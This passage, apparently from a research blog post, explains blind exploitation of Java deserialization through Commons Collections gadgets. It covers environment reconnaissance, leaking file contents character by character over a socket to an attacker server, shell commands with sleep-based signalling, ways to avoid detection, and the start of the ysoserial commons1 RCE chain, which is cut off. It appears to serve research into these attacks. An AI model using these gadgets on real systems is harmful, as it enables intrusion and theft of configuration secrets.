&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;java.vendor.url&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// JRE vendor name&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;java.vendor&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Installation directory for Java Runtime Environment (JRE)&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;java.home&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Class path - what other interesting libraries do we have?&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;java.class.path&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(Conversion to transformer chain is a simple call of a static method - was demonstrated earlier, for more info see source codes)&lt;/p&gt;

&lt;h3 id=&quot;systemenv&quot;&gt;Reading environment variables&lt;/h3&gt;
&lt;p&gt;The same holds for environment variables - also a valuable source of information.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getenv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PATH&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;osdetect&quot;&gt;OS detection&lt;/h3&gt;
&lt;p&gt;Classical OS detection can be done via &lt;em&gt;nmap&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap targethost.com &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But this scanning technique requires 1 open and 1 closed port to be reliable. Closed ports are a problem to get because
firewalls often filter incoming requests - SYN packet is dropped.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;os.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;startsWith&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;windows&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;os.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;mac&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;os.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;darwin&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;os.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;nux&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getProperty&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;os.name&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toLowerCase&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;contains&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;sunos&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Another approach to OS detection (Windows vs. Linux vs. FreeBSD vs. MAC) is to check for the existence of files typically stored
in differed locations on different systems, e.g., cmd.exe or ping, ifconfig, ipconfig, ip, telnet, netstat, …
Typical locations the command can be stored:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/bin
/sbin
/usr/bin
/usr/sbin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;stringOverSocket&quot;&gt;Sending characters over a socket&lt;/h3&gt;
&lt;p&gt;Guessing string characters by binary search requires some queries to do.
It would be much faster if we could send individual characters over the socket to our server, assuming
the socket approach works - the system is not firewalled.&lt;/p&gt;

&lt;p&gt;As mentioned above, it is not possible to use the result as a method parameter. We cannot construct a gadget
which directly sends a character over the socket. To overcome this limitation we can use
&lt;a href=&quot;#SwitchTransformer&quot;&gt;SwitchTransformer&lt;/a&gt; and hack it a bit with enumeration:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;     if (inp.equals(&quot;\u0000&quot;)) sendTcp(host, port, 0x00)
else if (inp.equals(&quot;\u0001&quot;)) sendTcp(host, port, 0x01)
else if (inp.equals(&quot;\u0002&quot;)) sendTcp(host, port, 0x02)
  .
  .
  .
else if (inp.equals(&quot;\u007f&quot;)) sendTcp(host, port, 0x7f)
else                           sendTcp(host, port, 0xff) //unknown
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We already know it’s possible to execute an action if a predicate is true.
To combine more such blocks, &lt;a href=&quot;#SwitchTransformer&quot;&gt;SwitchTransformer&lt;/a&gt; can be used.&lt;/p&gt;

&lt;p&gt;It’s reasonable to support only ASCII characters to keep the gadget size low.
We use this anyway for dumping config files - should not contain UTF8 strings.
Note this is code heavy, payload like this occupies quite a lot of space.&lt;/p&gt;

&lt;h3 id=&quot;securityManager&quot;&gt;SecurityManager&lt;/h3&gt;
&lt;p&gt;Some methods may fail due to strict &lt;em&gt;SecurityManager&lt;/em&gt; settings. But usually it is not possible to tell the Exceptions apart.
To fingerprint the SecurityManager policy, we can directly check if the particular operation is permitted before actually
executing it.&lt;/p&gt;

&lt;p&gt;The following gadgets throw SecurityException if the given action is blocked by the policy.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Is it allowed to connect to host:port?&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getSecurityManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;checkConnect&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Execute command&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getSecurityManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;checkExec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// File access&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getSecurityManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;checkRead&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getSecurityManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;checkWrite&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getSecurityManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;checkDelete&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Has access to the java package&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getSecurityManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;checkPackageAccess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pkg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Has access to the System.getProperty(property)&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getSecurityManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;checkPropertyAccess&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;execWait&quot;&gt;Executing command, waiting for finish&lt;/h3&gt;
&lt;p&gt;Since the expressive power of the transformer language is quite low, 
we can also use another approach - call shell commands and signalize result with &lt;code class=&quot;highlighter-rouge&quot;&gt;sleep&lt;/code&gt; as we did with &lt;code class=&quot;highlighter-rouge&quot;&gt;Thread.sleep()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For this it would be great to call:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Runtime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getRuntime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;something &amp;amp;&amp;amp; sleep 7&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;waitFor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Shell gives us full expressive power. Unfortunately waitFor cannot be called, because the exec() method returns
package-local Process implementation which cannot be used with &lt;a href=&quot;#InvokerTransformer&quot;&gt;InvokerTransformer&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;We can instead use the following hack to wait for a process to finish.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;/tmp/.x&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Math&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;abs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rnd&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;nextInt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;-c&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;something &amp;amp;&amp;amp; sleep 7; touch &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fname&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;; sleep 2; /bin/rm &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fname&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It performs the computation (something) and the blind sleep technique to return the output.
Then it creates a temporary file and deletes it after
a while. The file signalizes to our waiting Java thread the task has finished.
For this to work, we have to check if we are allowed to create and delete temporary files (SecurityManager, File.canWrite()).&lt;/p&gt;

&lt;p&gt;If we are, it is still quite risky because it leaves traces. If something goes wrong, the files will be left on the system.
We can try to delete them from time to time, but still…&lt;/p&gt;

&lt;p&gt;Now we need a gadget that will sleep until it detects the temporary file our gadget created. For that we will make use of
&lt;a href=&quot;#WhileClosure&quot;&gt;WhileClosure&lt;/a&gt; and &lt;a href=&quot;#ForClosure&quot;&gt;ForClosure&lt;/a&gt; together with &lt;a href=&quot;#fileexists&quot;&gt;File existence predicate&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fileExists&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fname&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Sleep&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;250&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The for loop is here to avoid infinite loop on the file check - it defines the maximum amount of time to wait for process to complete.
If something goes wrong and the file does not get created, the application would freeze. We don’t want to DoS the application (yet) and attract attention.
If the file gets created, the loop quickly finishes and the page blocking ends.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We aimed to demonstrate the exploitation in restricted environments with the use of blind technique, inspired by
Blind SQL Injection attacks. With given gadgets it’s possible to gather interesting information about the target
system and maybe mount another attacks which would not be possible via deserialization vulnerability otherwise.&lt;/p&gt;

&lt;p&gt;We made utilities to generate the payloads and to test them before using them on real targets.
This is especially useful to test blind techniques like string guessing with bisection.
Our further work is to automate this exploitation technique in the same way as &lt;a href=&quot;https://github.com/sqlmapproject/sqlmap&quot;&gt;sqlmap&lt;/a&gt; does.&lt;/p&gt;

&lt;p&gt;If you’d like to know more on gadget constructions and limitations, keep reading.&lt;/p&gt;

&lt;h2 id=&quot;deeper&quot;&gt;Digging deeper - Theory&lt;/h2&gt;
&lt;p&gt;In the following section we will take a closer look on gadget constructions and tool arsenal we can use for that.&lt;/p&gt;

&lt;h3 id=&quot;commons1&quot;&gt;Basic commons1 exploit chain&lt;/h3&gt;

&lt;p&gt;In order to understand how the gadgets are constructed and executed on the target
machine, let’s go through the gadget taken from the &lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt; project - RCE.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Transformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;transformers&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Transformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ConstantTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Runtime&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;),&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;getMethod&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;getRuntime&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;invoke&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}),&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;InvokerTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;exec&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
